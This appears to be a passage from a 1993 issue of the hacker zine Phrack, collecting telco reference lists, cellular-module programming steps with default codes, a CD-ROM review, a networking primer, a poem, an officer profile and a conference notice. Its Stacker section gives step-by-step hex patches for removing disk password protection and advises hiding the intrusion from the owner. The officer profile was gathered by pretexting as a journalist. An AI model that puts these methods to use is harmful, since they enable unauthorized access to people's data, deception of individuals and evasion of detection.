IOF	IFCPC IFFPC IOF/EDC	FEPS NPS-F

Switch	SCPC WCPC EEC	LSD&F LSRP NDS TNDS/EQ NPS-W
Distribution	DSPC DSDC	LATIS LEIS NPS-D
Service Provisioning		
IOF	CAC	TIRKS
Switch	LAC	COSMOS
Distribution	LAC	LFACS
Network Operations		
IOF	FMAC	CAROT CIMAP TCAS TNDS/TK
Switch	NAC RCMAC SCC	EADAS NDS MAS MIZAR TASC CIMAP NMA NMPS SCCS
Distribution	ICC MC	GDS CRAS LMOS/MLT PREDICTOR TAN

****

-IS- Blue Boxing Dead?

Australia Direct	800-682-2878
Austria Direct	800-624-0043
Belgium Direct	800-472-0032
Belize Direct	800-235-1154
Bermuda Direct	800-232-2067
Brazil Direct	800-344-1055
British VI Direct	800-248-6585
Cayman Direct	800-852-3653
Chile Direct	800-552-0056
China Direct	800-532-4462
Costa Rica Direct	800-252-5114
Denmark Direct	800-762-0045
El Salvador Direct	800-422-2425
Finland Direct	800-232-0358
France Direct	800-537-2623
Germany Direct	800-292-0049
Greece Direct	800-443-5527
Guam Direct	800-367-4826
HK Direct	800-992-2323
Hungary Direct	800-352-9469
Indonesia Direct	800-242-4757
Ireland Direct	800-562-6262
Italy Direct	800-543-7662
Japan Direct	800-543-0051
Korea Direct	800-822-8256
Macau Direct	800-622-2821
Malasia Direct	800-772-7369
Netherlands Direct	800-432-0031
Norway Direct	800-292-0047
New Zealand Direct	800-248-0064
Portugal Direct	800-822-2776
Panama Direct	800-872-6106
Philippines Direct	800-336-7445
Singapore Direct	800-822-6588
Spain Direct	800-247-7246
Sweden Direct	800-345-0046
Taiwan Direct	800-626-0979
Thailand Direct	800-342-0066
Turkey Direct	800-828-2646
UK Direct	800-445-5667

Uruguay Direct	800-245-8411
Yugoslavia Direct	800-367-9841 / 9842

This file brought to you by The Phone Company

****

```
***************************************
* Step-by-step Programming Instructions *
*      For the EO Cellular Module       *
***************************************
```

1. Unbox and attach the EO Cellular Module to the EO Personal Communicator 440/880.

2. Once the EO Cellular Module is attached turn on the EO Personal Communicator 440/880.

3. Open EO Phone.

4. Tap "Options."

5. Tap "Authorized Dealer."

6. Write Dealer Code in space provided. Dealer code is *12345678#. To edit mistakes, draw a small circle around 2 or 3 of the numbers entered. This will bring up an edit box and allow easier entry of the number. Once you have made your corrections, tap "OK."

7. Tap "OK" on the "Authorized Dealer Code" pop-up.

8. Wait approx. 30 seconds and programming screen will appear (The "busy clock" will appear on screen).

9. If invalid code entry screen appears, the programming screen will be blank and the "Apply" and "Apply and Close" buttons at the bottom will be greyed out. Close the programming screen by tapping on the upper left blacked out corner of the screen. Re-do steps 4 through 7 (refer to the TIP below for a guaranteed method of accurate entry). A common problem is to enter an "l" instead of a "1" because they appear to be very similar. To make sure that you have entered a one, check to see that the character is the same height as the other numbers. The letter "l" will be slightly taller.

TIP: To insure that you have entered the correct digits (one versus letter "l" problem above) you can use the accessories keyboard. To use the keyboard for the Dealer Code entry do the following (replaces steps 4, 5, and 6 above):

- a. Tap Accessories in the lower bookshelf.
- b. Tap Keyboard. This will bring up the pop-up keyboard.
- c. Tap Options at the top of the EO Phone window.
- d. Tap Authorized Dealer. This will bring up the Dealer Code pop-up.
- e. Tap on the line in the Dealer Code box. A dot (or character) will appear and now entry from the keyboard will appear in the Dealer Code box.
- f. Now use the keyboard to delete the dot (or character). The Delete key is the upper right most key on the keyboard.
- g. Now use the keyboard to enter the dealer code - *12345678# (the * and the # keys can be found by tapping the shift (up arrow) keys.)
- h. GO TO STEP 7 and continue.

NOTE: When programming the following entries always use the circle gesture to change the entry. In other words, circle the existing entry to bring up the edit combs. Then correct each digit by writing over the existing digit. This will insure that the number of digits for each entry is correct. If an entry has an incorrect length then none of the programed entries will be accepted.

10. Enter the assigned telephone number in the first field. Use the circle gesture to bring up the edit combs to edit the existing telephone number. Change each digit by writing over it in the edit combs. When complete tap "OK."

11. Use the same procedure in step 10 to enter the appropriate SID in the second field.

12. Use the same procedure in step 10 to enter the corresponding IPCH (0333 for the non-Wireline or A side provider; 0334 for the Wireline or B side provider) in the third field.

13. Leave the remaining fields intact as already programed from the factory unless instructed to change them by the cellular service provider. Use the circle/edit method to change any necessary entries. The factory defaults are:

Field Title	Default Value
ACCOLC	00
Group ID	15
Lock Code	1234
SCM	1010
Security Code	123456
Emergency Code	911

14. Tap the "Apply" button on the bottom of the screen. The programming information you have entered is now being saved in the EO Cellular Module. This will take approximately 20 seconds.

15. Close the programming screen by tapping the blackened area in the upper left hand corner of the programming screen.

16. Now set the approximate Roaming Option.

17. Tap Options.

18. Tap Roaming.

19. Enter Security Code. Default is 123456.

20. Tap "OK."

21. Tap next to appropriate roaming option. A check mark will appear.

22. Tap "Apply" button.

23. Close window.

24. Check status line in EO Phone for appropriate indications.

25. Tap "Keypad" tab on right side of EO Phone window. This will bring up a keypad display which can be used to place a voice call.

26. Make sure that the Cellular Icon is boxed (as opposed to the Phone Icon in the lower left hand of EO Phone.)

27. Tap the keypad buttons to enter the number to be dialed. The digits will appear in the dial box at the middle bottom of the EO Phone window.

28. Pick up the handset and tap "DIAL" button in the lower right hand corner of the screen. This button is just like hitting SEND button on a cellular phone. This will place a voice call using the number in the dial box.

29. When call is complete tap "Hang-up" (the DIAL button to "Hang-up" after the call is connected to the network.) This is just like pressing END on a cellular phone.

30. Close EO Phone.

31. Programming and testing is now complete.

Helpful Information

The EO Cellular Module contains an OKI 910 cellular phone housed in specially designed, plated plastics with custom connections into the proprietary port on the phone.

All programming of this module is done via the EO Personal Communicator 440 or 880. All programming/configuration information for the phone is stored in the EO Cellular Module and not in the Personal Communicator. This means that once the EO Cellular Module is programed it can be removed from the EO Personal Communicator and reattached to any other EO Personal Communicator without re-programming.

The ESN for the EO Cellular Module can be derived from the Serial number in the window on the bottom of the module. The cellular module ESN is 129 followed by the last eight digits of the serial number in the window. These eight digits will usually begin with 013. This eleven digit number should be provided to the people that will actually assign the telephone number and activate the EO Cellular Module on the cellular network.

****

THE HACKER CHRONICLES CD-ROM

Well, he said he was going to do it, and he did.

Scan Man put out a CD-ROM of info collected from the underground. I had kind of forgotten he was going to do it, but once I heard rumors of such a thing, I knew he had.

At HoHo Con last year, Bootleg was very excited about compiling data from the community for the project he and Scan Man were working on. As things progressed however, Bootleg would soon find out that Scan Man had no intention of working with him, and cut him out of the project.

This is how it was explained to me. I hope that it is not true, since Bootleg is back in jail and wouldn't have the ability to fly out to West Virginia and throttle Scan Man about the head and neck.

[Description from the Jewel Box]

WARNING!

This material is controversial in nature and may be offensive to some viewers. Not that the information in and of itself is not illegal. Quite often the usage of certain information is illegal. The Hacker Chronicles is for informative and educational purposes only. All documents and programs in this compilation were legally available to the public prior to his publication. None of these criminal acts described on this disc are in any way condoned or should be attempted.

Over 12 YEARS in the making - this software package contains stories of how they did it, actual break-ins, arrests, and prosecutions. Most of the articles were written by the actual people who committed these acts. Access articles and software with an easy-to-use menu system.

Areas of information include: PHONE PHREAKING (so called hobbyists who are into telephone technology of all types, well known for their ability to bypass telephone billing system), COMPUTER HACKERS (sometimes referred to as cyberpunks, interested in access to any on line computer system they can find), SATELLITE COMMUNICATIONS (hobbyists who sometimes employed test software designed for dealers to defeat scrambling systems), "UNDERGROUND" GENERAL INFORMATION (many subjects all very technical in nature and explained in detail, such as ATM's, credit cards, voice mail, hypnotism, bugging, skip tracing, phone taps, cellular phones, lock picking, social engineering, virus's, chemical substances, explosives, editorials, legal issues, alarm systems, spies, hardware, signal interception, private investigations, security, computer ethics, underground BBS's, TV cable piracy, boxing and much more!

Uh, that kinda says it all, don't it? CYBERPUNKS, VIRII, WAREZ & STUFF! Uh, yeah.

Seriously, the disk itself has a shitload of files. This is rather cool, since now EVERY bbs in the world can put OVER 650 MEGS OF G-FILES! Heh.

The file on the disc that struck me the most was the intro written by Scan Man. He went talked about a lot of things he's done in the past with the scene, telephone companies, etc. I know Scan Man from WAY back. Pirate-80 was one of the first real Hacker BBSes I was ever on. (Remember when it was only up certain hours of the day?) Reading that file was pretty informing for me. It also made me smile to see that he's still pissed off at Craig for tearing him apart in a Phrack some years ago.

Remember, this is by no means a complete collection. Thankfully, the CD does not have any issues of Phrack magazine past issue 41 (or else, I would be enjoying a piece of the revenue :)). It also, oddly enough, does not have any LOD-TJ other than 4. It DOES however have a large collection of CUD, NIA & CDC. Go figure.

The files do represent a neat history of our community and for the curious neophyte, the nostalgic old-timer, or anyone with 39 bucks, it might be something worth picking up just to say you have it. I mean, you never know when you will need to find issue 12 of LOL, or plans for a urine box. It will save you the trouble of downloading.

The Hacker Chronicles - A Tour of the Computer Underground should be available from any outlet that carries CD-ROMS. Or hell, call P-80. I'm sure Scan Man will sell you a copy: 304-744-7322.

****

Packet Switched Data Networks
An Introduction and Overview
By: Cosmos

The abundance of networks both private and public has given the hacker an almost infinite playground. A popular type of network is the packet switched network like SprintNet (TELENET) that allows local users to access non-local machines. These WAN's usually serve as the backbone for many large corporations. Understanding the way in which they operate can aid many aspects of the hacker's knowledge.

Packet switching is a data networking technology in which user data is segmented into small units (packets) and transmitted from the sending user to the receiving user over shared communications channels. Each individual packet also holds additional information that allows the network to correctly route the packet to the correct destination. The size of the packet is limited to a maximum number of characters set by the individual sender. Packets are measured in octets, which are 8-bit bytes. User data that exceeds this amount is divided into multiple packets.

The difference between packet switching and circuit switching (regular telephone lines) lies in the use of virtual circuits. These circuits are given the term "virtual" because:

1) they are made up of bandwidth allocated on demand from a pool of shared circuits

2) no direct physical connection is made on a packet network

3) the connection is a logical one

Due to these facts, packet networks are commonly denoted as connectionless networks. There are three types of packet networks: public, private, and hybrid (a combo of the two previous ones).

A packet switched data network (PSDN) has five major components:

1) local access components (LAC)
2) packet assemblers/disassemblers (PAD)
3) packet switching nodes (PN)
4) network links (NL)
5) a network managment system (NMS)

LOCAL ACCESS COMPONENTS

To transmit data through a PSDN, the data must first move from the end-user to a packet assembler/dissasembler (PAD) or to a packet switching node with a built-in PAD function. In order to achieve this, three local access components are required. First is the end-user data terminal, or more plainly, your computer. Secondly, an end-user transmission device such as a modem. Thirdly, a local access facility or physical line (Telephone Line). There are three types of physical lines: switched analog lines (dial up), leased analog channels (private lines), and leased digital channels (DDS circuits).

PACKET ASSEMBLERS/DISASSEMBLERS

All data travelling through the PSDN must be routed through a Packet Assembler/Disassembler (PAD). The PAD's primary function is to translate user data into network packet format and conversely to convert network packets into user data. Basically, a PAD serves as the network translator between the user and the PSDN. Other functions performed by the PAD include: physical line concentration, call setup and clearing functions, protocol conversion, code conversion, protocol emulation, local switching functions, and local call billing functions.

PACKET SWITCHING NODES

The primary component of a packet switching network is the packet switching node (PN). The packet switching node ensures that each packet is routed properly through the network. Commonly, PN configurations are installed in a redundant configuration. This provides for a convenient backup for network traffic. Other functions include: call billing, internal network diagnostics, support of direct host computer access., and inter-network gateway connections.

NETWORK LINKS

Network links are the physical components that connect packet switching nodes together. Several transmission technologies can be employed in network linking, including: analog circuits, digital circuits, microwave systems, and satellite systems. The most common network link technologies used are Digital Dataphone and other similar interexchange carrier services, and point to point analog private lines. Speeds on network links range from 9.6 Kbps to 56/64 Kbps. Network links are commonly denoted as the "backbone layer" or the backbone packet network. The local PAD's are termed the "access layer" or access network.

NETWORK MANAGEMENT SYSTEM

Basically, the network management system (NMS) controls and monitors the PSDN. It primarily stores and performs maintenance on the network database. This database is the master copy of all the software and configurations in each network node. If a node fails or is not functioning properly, the NMS can download backup information through the various network links to solve the problem. Thus, a unattended network is formed.

This is all one needs to understand for a general knowledge of a packet switched data network. Additional topics can be pursued further for increased knowledge but are not essential. You might want to research some info on the standard X.25 protocol, and other OSI stuff. Anyways, I hope this brief intro article can be of use in the general knowledge of computer networking.

Cosmos

****

Stacker Security.

How to Hack a Stacker disk that is password protected!

The 'Stacker' Software increases the space on your hard disk by using on the fly compression on the data on the disk. It does this by creating a file called Stacvol.dsk on the hard drive. All of the information that is put on the disk is compressed and stored in the stacvol.dsk file. When Stacker is installed on a hard drive, say C: all of the data on the disk is compressed and stored in the stacvol.dsk file, which is assigned as a virtual disk C:, the 'real' drive is then assigned D:. The swapping taking place a boot time.

The Stacvol.dsk file is therefore stored on the D: drive and usually takes up most of the drive. (ie: a 40M C: drive contains the stacvol.dsk file of size around 5-39M the disks are swapped at boot time and the C: drive that the user 'sees' is really the contents of the stacvol.dsk file on the D drive assigned to C:, everything on the C drive (stacvol.dsk) is compressed, thus obtaining an increased disk space.)

The point is this, at boot time the owner of the machine can set passwords to allow the user to have no access, read/write or read-only access to the C drive/stacvol.dsk file, if a wrong password is entered the stacvol file is not mounted as the C drive and all a DIR will get you is a directory of C:\ which will have a few files such as command.com etc, nothing of any real interest.

So now for the interesting bit, how to get in without a password, or getting read/write privs when you've only got read-only.

First, boot the computer and go through the password routine. Get it wrong (you may as well try something like password though just in case.)

The Stacvol.dsk file is hidden so change its file attributes so you can edit it. (You'll need a floppy now with a utility such as Norton diskedit on it)

Load in the diskeditor and get it so that you are editing the stackvol file in a HEX mode. The first bit of Hex just contains the usual sort of boot record type rubbish, not too interesting.

The interesting bit is the bit which starts at offset 74

Now the information starting at 00040 is the interesting bit, on a disk with a password set it will look like this....

```
00040   20 20 20 20 20 20 20 20 | 20 20 2D 2A 2D 0A 0A 1A
```

```
00050   72 AA 91 9C 0F 66 9A ED | AB 18 6E 6D E2 C3 2B 8B
00060   5E CD EF A9 37 1B 53 E2 | C6 F0 E8 9C A4 49 F6 9D
00070   4C F0 AB 32 21 47 FC 91 | 7E 8C 58 D8 D9 D7 DB D3
```

(All figures obviously in hex.)

The data from 0004B to 0004E is a flag to the device driver to tell it that a password is required.

From 0004f to 0005F are the encrypted passwords.
(the rest just being data)

NOW, for an unpassworded file this looks like

```
00040   20 20 20 20 20 20 20 20 | 20 20 20 20 20 0D 0A 1A
00050   49 F6 9D 4E EC B1 26 3D | 0F 6B B2 24 41 07 7B 92
00060   XX XX XX XX XX XX XX XX | XX XX XX XX XX XX XX XX
00070   XX XX XX XX XX XX XX XX | XX XX XX XX XX XX XX XX
```

Now all you have to do is take a copy of the data in this section on the stacvol.dsk file you are hacking so that you can return it back to its original state!

Patch the code above into the corresponding positions into the file you are hacking, leaving the code denoted by XX alone, this is version code and depends on the machine so leave it alone!

Save the changes and reboot the machine, it will no longer ask for a password and you now have full access.

Afterwards re-patch the original code that you noted and if you've used your common sense then the owner will never know you were there.

(By common sense I mean don't forget to restore time/date stamps etc.)

D2A [D

****

UNAUTHORIZED ACCESS ONLY

Computers are becoming an integral part of our everyday existence. They are used to store a multitude of information, from credit reports and bank withdrawals to personal letters and highly sensitive military documents. So how secure are our computer systems?

The computer hacker is an expert at infiltrating secured systems, such as those at AT&T, TRW, NASA and the DMV. Most computer systems that have a telephone connection have been under seige at one time or another, many without their owner's knowledge. The really good hackers can re-route the telephone system, obtain highly sensitive coporate and government documents, download individuals credit reports, make free phone calls globally, read private electronic mail and corporate bulletins and get away without ever leaving a trace.

So who are these hackers? Just exactly WHAT do they DO, and WHY do they do it? Are they really a threat? What do they do with the information they obtain? Are hackers simply playing an intellectual game of chess or are hackers using technology to effectively take control of corporate and government systems that have previously appeared omnipotent?

Our group is in the course of filming "Unauthorized Access", a documentary that will demistify the hype and propoganda surrounding the computer hacker. We will expose the truths of this sub-culture focusing on the hackers themselves. This will be a view from inside the global underground. We intend to shoot in the United States, Holland and Germany.

This documentary will be of the highest broadcast quality and is intended for international television, festival and theatrical distribution.

We are currently looking for additional financial backers interested in this project. For more information about "Unauthorized Access" or if you are intrested in providing any information or support, please contact annaliza@netcom.com.

****

Mitnick's Soliloquy

Intruder, or not Intruder: that is the question:
Whether 'tis more likely the system suffers
The misuses and malfeasances of outrageous crackers
Or that some user behaves anomalously
And, by so doing, causes false alarms. To alert, to audit;
No more; and by an audit to say we find the attack,
And the thousand failed login attempts
That are seen on the network, 'tis a consummation
Devoutly to be decrypted. To alert, to audit.
To audit, perchance to detect, ay, there's the rub.
For in that detection of attack what false alarms may come;
When we have dumped a million packets
Must give us pause, the analysis
That makes use of long CPU hours and many gigabytes
For who would bear the whips and scorns of time
The analysis by hand, the tired SSOs eyes sore,
The pangs of innocent users, the law's delay,
The insolence of phreaks, and the spurns
That patient merit of unworthy takes
When he himself might his quietus make
By a disconnected ethernet? who would fardles bear
To grunt and sweat under C2 standards
But that the dread of worm after worm
The undiscovered bug from whose bourn
No Vandal turns, puzzles the testers,
And makes us rather ebar those ills we have
That crash the system and erase the hard drive?
Thus intrusion detection makes abusers of us all,
And thus the native hue of normal use
Is sicklied over with the red light of intruder,
and jobs of great size and duration
With this regard their patterns out of normal parameters,
and lose the name of legal system policy.

After Hamlet's Soliloquy,
By JJ

****

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 5 of 27

****

Computer Cop Prophile

by The Grimmace

The following file is something I thought of and did a LOT of research on before writing. It's something that I haven't seen in PHRACK and I've been a devout fan of this zine since the beginning.

The "PHRACK PROPHILES" on hackers and phreakers give readers an insight into the movers and shakers of the P/H world, but how about a profile or profiles on the anti-hacker/phreaker establishment that seems to be growing by leaps and bounds lately?

In the past years we've seen cops and feds who know nothing about computers and/or telephone systems bungle their way through search warrants and arrests and have had some good laughs at their expense. But now it seems that the "computer cops", the feds especially, are putting a big push on training agents in the "tricks of the trade" and their conviction rate is getting better.

The primary source of this training is the Federal Law Enforcement Training Center in Glynco, Georgia, where they're teaching computer seizure and analysis techniques, computer-targeted search warrants, and telecommunications fraud investigations. (They're very accommodating about giving out information on the phone as long as you tell them you're a cop). The FBI Academy in Quantico also has a computer crimes course.

On the technical side of things, there's an organization called IACIS which stands for the International Association of Computer Investigative Specialists based in Portland, Oregon, and which consists of members of both local law enforcement agencies nationwide as well as various and sundry federal agencies. This group teaches and certifies cops in how to get evidence from computer systems that can't be attacked in court (Of course, anything CAN be attacked, but getting the evidence squashed is not always a sure thing unless the judge is a computerphobe).

As much satisfaction as we've gained at the expense of the US Secret Service from the Steve Jackson Games case, it's widely publicized problems may prove to be a double-edged sword hanging over our heads. Law enforcement learned a LOT of lessons from mistakes made in that investigation.

Like most of you, I've spent a lot of years exploring computer systems (usually those belonging to others) and personally feel that I've done nothing wrong (know the feeling?). I'm sure others across the country also can conduct a little socially-engineered reconnaissance and get the lowdown on some of the people we NEVER want to see knocking on our doors with a sledge hammer in the middle of the night.

This profile contains information on the ONLY computer crime cop I could identify in the Louisville/Jefferson County area after calling all the major departments posing as a writer for a law enforcement magazine doing a survey. Information about him was obtained not only from his department, but from sources in the local and federal court systems, Ma Bell Security, and the Federal Law Enforcement Training Center. Lt. Baker is *not* a potential donor to the CPSR or EFF to say the least.

I'm currently compiling similar information on other law enforcement types in the Secret Service, Columbus Ohio PD, Dallas PD, Georgia Bureau of Investigation and members of Ma Bell's Data Security Group in Atlanta. Baker was just the closest to me so I started with him. If I can get the information I've requested, then future submissions will also include lesson plans furnished by FLETC on their training courses and analysis protocols suggested by the USSS...heh...heh.

Yours,

The Grimmace

-

COMPUTER-COP PROFILE I

LT. BILL BAKER

JEFFERSON COUNTY POLICE DEPARTMENT
LOUISVILLE, KENTUCKY

INFORMATION COMPILED BY:

** THE GRIMMACE **

-

NAME: Bill Baker
RANK: Lieutenant

AGENCY: Jefferson County Police Department
768 Barret Ave.
Louisville, Kentucky 40204

AGE: 43
YEARS OF COMPUTER EXP: 13

YEARS AS A COP: 18
YEARS IN COMPUTER/ TELECOM CRIME: 8

TRAINING: Federal Law Enforcement Training Ctr.
Glynco, Ga.
- Telecommunications Crime
  - Telecom Fraud
  - Cellular Fraud
  - PBX Fraud
- Computer Crime
  - Illegal Access Crimes
  - Computer Crime Inves.
  - Seized System Analysis

FBI Academy
Quantico, Va.
- Computers in Narcotics Investigations
- Computer Crime Investigations

National Intelligence Academy
Ft. Lauderdale, Fl.
- Supervising Intelligence Operations
  - Surveillance Techniques

Electronic Tracking
Electronic Eavesdroping
Video Evidence Techniques
- Telephone Systems
  Wiretaps
  Dialed Number Recorders
  Pager/Fax Intercepts
  Technical Telephony Course

PREVIOUS ASSIGNMENTS: Patrol
Criminal Investigations/Burglary
Criminal Investigations/Homicide
Crime Prevention
Special Investigations/Vice-Intel

MEMBER: Communications Fraud Control Association
Washington, D.C.

PUBLICATIONS: Various computer/telecommunications
crime oriented articles for assorted
law enforcement and computer industry
magazines (i.e., POLICE CHIEF, DATA TODAY)

Posing as a freelance writer from the "Law Enforcement Journal", I made calls to local police agencies all over this area asking about their Computer Crime Units and received replies ranging from "What are you talking about?" to "Maybe FRAUD handles that...hey, Charlie...do the FRAUD guys do anything with compoooters?". So much for the Louisville Division of Police...no fear there, right?

But I decided to push on since Louisville, though not a hotbed of phreakers/hackers, IS the latest home of TAP MAGAZINE (a la Blitzkrieg BBS and the Predat0r) and has a smattering of "hometown" folks engaged in less than legal activities through the local phone lines.

The call made to the Jefferson County Police got me a solid response of "You'll have to talk to Lt. Bill Baker. Hey, Charlie, where's Lt. Baker working now?" (This guy is so low key his own department doesn't even know where he works!) They finally decide he's someplace called "Adam Station" and through "various" contacts and a friendly local attorney who rarely pays for telephone calls himself, I managed to obtain quite a bit of information about Lt. Baker and his obviously misguided quest.

Lt. Baker is fairly typical of the "new breed" of high-tech investigator currently being churned out by the various federal training schools. He's aggressive and, from talking to other members of his department, thought of as a "computer weenie" who was probably a hacker himself before he embraced the "dark side" of "the FORCE". (I personally believe that this may be more fact than fantasy after talking to him on the phone since he seems to know more about phreaking and hacking than one would think would be taught in the aforementioned federal institutes of higher learning.)

I finally managed to speak with Lt. Baker on the phone and gave him my "writing about computer crime" rap which he bought with little suspicion. The following are excerpts from the recording I made of the conversation [comments in brackets are mine]:

TG: How would you rate the progress of computer and telecommunications crime investigations in this area?

Baker: There have been some good cases made here, but there's still a long way to go. The main problem is that there hasn’t been a push from local businesses in this area to combat these types of crimes. Most of’em don’t want to admit they’ve been hit from the outside. If there’s no complaints, then the departments aren’t likely to want to spend the money to dig up additional crime, right?

TG: Of the hackers you’ve worked on, what kind of capabilities do they have and how good do you think they are?

Baker: Well, hackers and phreaks are like any other cross-section of a criminal group...there are some that are very good and some that are pitiful. The best thing you can say about working hacker/phreaker cases is that a lot of them catch themselves. They have huge egos and tend to brag a good deal about what they’ve done and how they did it.

TG: Does that mean that you don’t think a computer crime investigator has to be as good as the criminals he chases...I mean, because a lot of these people leave so many clues behind? How would you rate your ability in this field?

Baker: Nope...not at all. I think that as technology gets better so will the crooks. Let’s keep the record straight here. Sure, there are bozos out there who read a how-to file in an old PHRACK and decide that they have the knowledge they need to nuke the phone company or ride a VAX like a Hell’s Angel rides a Harley. Those are the easy ones. The ones who -write- [author’s emphasis] the technical articles in PHRACK are the ones to worry about. There are some stomp-down [??] incredibly knowledgeable individuals in circulation blasting away with their modems at any target of opportunity.

TG: You didn’t mention your own ability for investigating these people.

Baker: (Laughs) Yeah, well...let’s say I know enough to get by and am smart enough to know that there are no absolute experts.

TG: How would you comment on the Steve Jackson Games case? Do you think the Secret Service set a lot of bad precedents?

Baker: (Laughs) Noooooooo....sorry, pal. That’s been jawed to death in every phreak/hack mag, legal journal, and Internet newsgroup in existence and I’m not about to stick my neck out on that one, OK? I will say that everyone learned a lot from that case and I seriously doubt if you’ll see the same set of problems reoccurring in future cases. Maybe the CSPR or EFF hired guns can come up with a new group of loopholes, in which case we’ll have to find new ways to circumvent those attacks.

TG: You sound a little critical of the EFF and CSPR efforts in their defense of so-called "computer criminals".

Baker: Well, I’m sure that they believe in what they’re doing. They must to invest that much cash and energy. But I think there has to be some middle ground agreed upon rather than just whining about "all information should be free" and "if I can get into your system then I should be allowed to look around". I’m not going to launch into a diatribe on organizations that I don’t agree with. I’m simply going to work harder at dotting every "i" and crossing every "t" to make my cases more secure. Stealing telephone service is a crime, defrauding businesses is a crime, gaining unauthorized access into someone else’s computer system is, in most states, a crime, and even if there's no law on the books making it a crime, it's wrong.

TG: Since by your own statement, you feel that high-tech crime investigation is still in its infancy, what groups or organizations would you say are in the lead in trying to combat this type of crime?

Baker: The most significant two I know are the Federal Law Enforcement Training Center in Glynco, Georgia, and the Communications Fraud Control Association based out of Washington, D.C. FLETC [he pronounces it FLET-SEE] probably has the finest computer crimes training program in the country. They bring in acknowledged experts and don't cut the students any slack as far as learning to do things correctly and, most importantly, legally. The CFCA is the leader in Telecommunications security and provide training and assistance to telecom and computer companies along with law enforcement agencies all over the country.

TG: Why do you think so few law enforcement agencies know anything about computer crime investigations? Are they going to leave the phreaks to the feds?

Baker: Nah...I don't think you can simplify it that easily. Most departments don't have dedicated computer crime units because of lack of funds to support such a unit, lack of trained personnel, lack of understanding of the magnitude of the problem, fear of increasing their crime stats or any combination of those reasons. When I first got into this, there weren't any experts. John Maxfield and his BOARDSCAN operation got a lot of talk in the hack/phreak journals and there were a small handful of others, but no real standout authorities. I talked to an awful lot of people before I hooked up with Clo Fleming at SPRINT Security who helped me a lot.

TG: Do you still trade information with SPRINT?

Baker: I have contacts with all the major telecom carriers. The training I got at FLETC really helped make some valuable contacts. But I guess SPRINT and Clo Fleming would be my first choice simply because they were willing to help me when no one else would. You can't operate in this environment without contacts in the OCC's. It can't be done and the OCC's [Other Common Carriers] are a lot more willing to assist law enforcement now than they were in 1985. Of course, the telecommunications industry is taking a $4-5 billion hit a year from fraud and that has a lot to do with it.

TG: Do you subscribe to the hacker/phreaker magazines?

Baker: Sure...I subscribe to 2600 and get copies of some others. I think PHRACK's probably the best overall, but I can't afford the subscription rate they've imposed on government agencies since Craig Neidorf took the hit for publishing the "golden" E911 document. I've learned a ton of stuff over the years from PHRACK and wish it were still free, but they have a right to their info just like the people who own the systems attacked by hackers. It'd be kind of hypocritical for me to rip off PHRACK and then turn and prosecute some other guy for ripping off information from another source, right?

TG: What problems do you foresee in the future in computer and telecom crime investigations?

Baker: Jeez...why don't you ask me when we'll have world peace or something easy? OK, I think we’ll probably see the larger departments being forced to play catch-up with the current trends and always being a little behind in this area. I also think you’ll see more officers losing cases and being sued, a la SJG, until they get the specific training required to handle these cases the right way. Turning seized systems over to the local "computer guy" in the department is going to cost’em in the long run because every lawyer who gets one of these cases is going to compare it bit by bit with the SJG case to see if there’s anything there he can use for his client’s defense.

TG: There has been a lot of discussion about whether or not computer systems should be seized rather than just making copies of the data for evidence. What is your policy on equipment seizures when working cases like this?

Baker: First of all, I don’t go on fishing expeditions with search warrants. If I have enough to convict a guy then I get the warrant. I take everything that’s there and do the analysis. I’ve had cases where the defendant has requested copies of data he needed for various reasons and I’ve had no problems with furnishing them as long as the request is reasonable. I ask for forfeiture of the equipment if I can link it to the crime because the law says I can. If I can’t link the computers, then I give them back...simple as that. I think it’s kind of interesting that most hackers or phreaks will refuse to take a guilty plea for a reduced charge, even if I have them stone cold and they’re looking at a 99.999999% chance of conviction in a jury trial, if it means they’ll lose their equipment in the deal. It makes good leverage in certain situations.

TG: Did you have any part in Operation Sun-Devil?

Baker: Nope. Though I’d have liked to. I was on a lot of the systems taken down in Sun-Devil.

TG: You said you were on some of the systems busted in the Sun-Devil operation, are you still on phreak/hack boards and would you name any?

Baker: (Laughs a lot) I think I’ll pass on naming systems I’m on, OK? That’d be cheating. (Laughs again) But I get around enough to know what’s going on. There are lots of investigators out there calling the boards.

TG: I appreciate your time, Lt. Baker, and would like to ask one last question. What motivates you in these cases since the alleged "theft" involves pretty intangible property?

Baker: Motivation? Hmmmm...I suppose you could say it’s the chase that motivates me more than the catch, though the catch is pretty good, too. These cases tend to be more one-on-one than some other types and the adversaries can be very good at covering their tracks. Hell, I probably have more in common with the people I target than they’d like to believe. As for the "intangibility" of the stolen goods, well, that’s why we have court systems, isn’t it...to define those little details.

TG: A lot of computer crime investigators would rather stay in the background, but you don’t seem to have taken that position. Why not?

Baker: Well, like anyone involved in anything relatively new, as opposed to the old standard type crimes like murder and armed robbery, it's to my benefit to have anything printed informing people of the problems created by this type of activity. We all pay the price for telecom fraud, credit card fraud, data loss due to illegal access to computers and all the rest. But the people involved in these crimes, for the most part, don't exhibit the same profiles as the so-called "violent" criminals. In fact, I've had some very friendly conversations with a number of phreaks and hackers. Investigators who have problems would probably have them no matter what crimes they were investigating. I never assume that I'm smarter than anyone I'm chasing and I don't rub their noses in it when I make a case. Just like I don't lose sleep when I just can't seem to get that last piece of the puzzle and one gets away. It's hide-and-seek in cyberspace. Pretty good game, actually.

For what it's worth, there it is. The interview printed here doesn't contain a lot of the bullshit that was thrown back and forth during our conversation, just the relevant details which tend to give an insight into this guy.

Frankly, I was impressed by the fact that he didn't seem anything like I had expected after reading horror stories about other agencies and investigators. This guy was personable and maybe that's an indicator that he's dangerous. Never, ever underestimate your opponents -- even if they do sound like "good ole boys" and talk to you like you're the best friend they ever had. Always remember that COPS INVENTED SOCIAL ENGINEERING!

My next "computer cop" profile will deal with a rising star in the U.S. Secret Service and his connections to the Guidry Group, a consulting organization working for the cellular phone industry in combating cellular fraud.

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 6 of 27

Conference News

Part I

****

[Official Announcement / Call For Participation]
(Distribute Freely)

dFx, Phrack Magazine and cDc - Cult Of The Dead Cow proudly present :

The Fourth Annual

HOHOCON

"Cliff Stoll My K0DEZ!@$#!"

Who: All Hackers, Journalists, Security Personnel, Federal Agents,
Lawyers, Authors, Cypherpunks, Virtual Realists, Modem Geeks,
Telco Employees, and Other Interested Parties.

Where: Austin North Hilton & Towers and Super 8 Motel
6000 Middle Fiskville Road
Austin, Texas 78752
U.S.A.
Hilton : (800) 347-0330 / (512) 451-5757
Super 8: (800) 800-8000 / (512) 467-8163

When: Friday December 17 through Sunday December 19, 1993

What is HoHoCon?

